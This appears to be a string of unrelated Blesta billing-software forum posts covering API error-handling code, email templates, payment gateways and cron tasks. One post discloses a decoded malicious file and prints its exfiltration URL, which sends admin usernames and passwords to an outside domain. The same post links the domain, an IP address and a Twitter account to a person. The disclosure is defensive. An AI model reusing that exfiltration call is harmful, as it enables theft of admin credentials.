gutterboy

let me try to see if i can make a plugin for that

I don't mind having that invoice box tell the client what method is being used. However, I think Blesta should be smart enough to automatically hide the text about changing the invoice method, if there is only one choice or if we've disabled the client's ability to change the method.

Just so anyone else knows - make sure to clear your blesta cache after doing this, as nav elements are cached (and this is related to nav).
 
Thanks again.
 
Sam

that isthe only way without moding the core files .

Yes, definitely always use https whenever at all possible.

Nope you don't need one with Stripe, we use it . And 60% off our payments go threw Stripe now.

Slight edit to the errors method above, this would probably be the best way to handle it actually..
public function errors() { $response = $this->formatResponse(); if (isset($response->errors) or $this->response_error) { if (isset($response->errors)) return $response->errors; else { $error = new stdClass(); $error->error = $this->response_error; return $error; } } return false; }

I've been using the Blesta API in conjunction with the SDK; however I have recently noticed that the error handling it does with cURL is incorrect.
 
For example we have this code in blesta_api.php
private function submit($model, $method, array $args = array(), $action = "POST") { $url = $this->url . $model . "/" . $method . "." . self::$format; $this->last_request = array( 'url' => $url, 'args' => $args ); if ($action == "GET") { $url .= "?" . http_build_query($args); $args = null; } $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $action); curl_setopt($ch, CURLOPT_URL, $url); if ($args) { curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($args)); } curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_USERPWD, $this->user . ":" . $this->key); //curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $response = curl_exec($ch); $response_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return new BlestaResponse($response, $response_code); } Then we have this code inside blesta_response.php
/** * @var string The raw response from the API */ private $raw; /** * @var int The HTTP response code from the API */ private $response_code; /** * Initializes the Blesta Response * * @param string $response The raw response data from an API request * @param int $response_code The HTTP response code for the request */ public function __construct($response, $response_code) { $this->raw = $response; $this->response_code = $response_code; } /** * Returns the response from the request * * @return mixed A stdClass object representing the response returned from the request, null if no response returned */ public function response() { $response = $this->formatResponse(); if (isset($response->response)) return $response->response; return null; } /** * Returns the HTTP response code * * @return int The HTTP response code for the request */ public function responseCode() { return $this->response_code; } /** * Returns the raw response * * @return string The raw response */ public function raw() { return $this->raw; } /** * Returns all errors contained in the response * * @return stdClass A stdClass object representing the errors in the response, false if invalid response */ public function errors() { if ($this->response_code != 200) { $response = $this->formatResponse(); if (isset($response->errors)) return $response->errors; else { $error = new stdClass(); $error->error = $response; return $error; } } return false; } /** * Formats the raw response into a stdClass object * * @return stdClass A stdClass object representing the resposne */ private function formatResponse() { return json_decode($this->raw); } Giving particular notice to the errors method, first off it does this:
if ($this->response_code != 200) { Just because the response code is != 200 doesn't mean there was an error, a response code of `301` will still return a valid response and shouldn't be treated as a possible error.
 
Secondly, if there is an error it is not going to be contained within $this->raw; this will simply contain boolean false. The correct way to get errors would be via the function curl_error().
 
So with the above in mind, shouldn't it be done similar to:
 
Add the below line to the submit method in blesta_api.php
$response_error = curl_error($ch); CHANGE:
return new BlestaResponse($response, $response_code); TO:
return new BlestaResponse($response, $response_error, $response_code); Then update blesta_response.php
 
ADD:
/** * @var int The cURL error (if any) from the API */ private $response_error; UPDATE the constructor..
public function __construct($response, $response_error, $response_code) { $this->raw = $response; $this->response_error = $response_error; $this->response_code = $response_code; } Then changing the errors method to something like this:
public function errors() { if ($this->response_code != 200 or $this->response_error) { $response = $this->formatResponse(); if (isset($response->errors)) return $response->errors; else { $error = new stdClass(); $error->error = ($response) ? $response : $this->response_error; return $error; } } return false; } I had to allow for Blesta errors, which aren't cURL errors so I left in some of the code.

I think this was answered on your other thread but you need to uninstall the portal plugin. Whenever clients visit your blesta url they will be redirected to the login page, or if already logged in then the client dashboard.

I hate the paypal buttons, however, the Blesta button should at least have "Pay Now" or "Pay Here". or something to that effect included. Leave no doubt in the user's mind.

Ok guys -- I think this has received enough +1's, thanks! Please see CORE-1428

A new email template will be in v3.4 that will be used to send these non-merchant gateway payment receipts.

We sent a notice to the ISP

Yeah, PauloV decoded it.
 
I debated not posting this information but here's where the file sends your admin details:
https://my.dorob.de/modules/addons/passwords/insert.php?url=" . $url . "&user=" . $u . "&pw=" . $p Domain is registered to:
 
 
IP address is 37.228.135.135 which belongs to:
 
 
This person also has the twitter account https://twitter.com/dorobde and was critical of Blesta in this tweet: https://twitter.com/DoRobDE/status/507934296829861888
 
 

File decoded
I have sent u a PM on this forum
I have detected the injection and the url that you will be able to find easily

Every tool we tested didnt decrypt the file I think is encoded with the latest ioncube encoderes and and we only support IC <=7 and PHP <=5.3 to decode, we will trie to to get the lastest decoders and post it back

Easy thing to do

Nothing to see here. Move along..... had the incorrect paypal address set for the sandbox account.

Ok, seems the issue was because the from address wasn't a real email address; once I changed it to a real email address it worked fine.

That worked but I had to change:
$this->Transactions->getByTransactionId($transaction_id); to..
$this->Transactions->get($transaction_id);

Reading the ticket again it may be because I have a LOCAL install and a TEST server install; basically it will clear any custom set locations.

It is, but I've already been through all the settings and don't wanna do it again.
 
Looked at the database and this seems like it would do the trick:
UPDATE `emails` SET `from`='myemail@mydomain.com' WHERE `from`='myemail@www.mydomain.com' Just not sure if anything else would need to be updated as well?

- state The 3-character ISO 3166-2 subdivision code, requires country (optional) - country The 3-character ISO 3166-1 country code, required if state is given (optional) Looks like you already figured it out, but it should be noted that fields that mention dependency on another if 'given' refer to even passing in the field, regardless of its value.

A link should appear on the automation page after some time, which will let you reset the task. After resetting it, you should try running the cron manually. If there is an error, you may see it in the output from running the cron manually. You could also check the php and apache logs for an error, if there was one.

No, this does not calculate a sum. This only displays each invoice's previous due amount, e.g.
{% for invoice in invoices} Invoice: #{invoice.id_code} Invoice Total: {invoice.due | currency_format invoice.currency} Previous Due: {invoice.previous_due | currency_format invoice.currency} {% endfor %} -- Invoice: #1003 Invoice Total: $20.00 Previous Due: $50.00 Invoice: #1002 Invoice Total: $40.00 Previous Due: $10.00 Invoice: #1001 Invoice Total: $10.00 Previous Due: $0.00 Yes, it will show how much was paid to each invoice, e.g.
This invoice already has already had $0.00 paid toward it. This invoice already has already had $10.00 paid toward it. This invoice already has already had $15.25 paid toward it. Sounds like you're going for kind-of a "invoices summary/overview", which may be better suited to a new email template instead. The scope of the Invoice Delivery (Unpaid) template is mainly to notify a client of that specific invoice (or set of invoices). But I can see how additional outstanding/paid/due totals might be useful as well.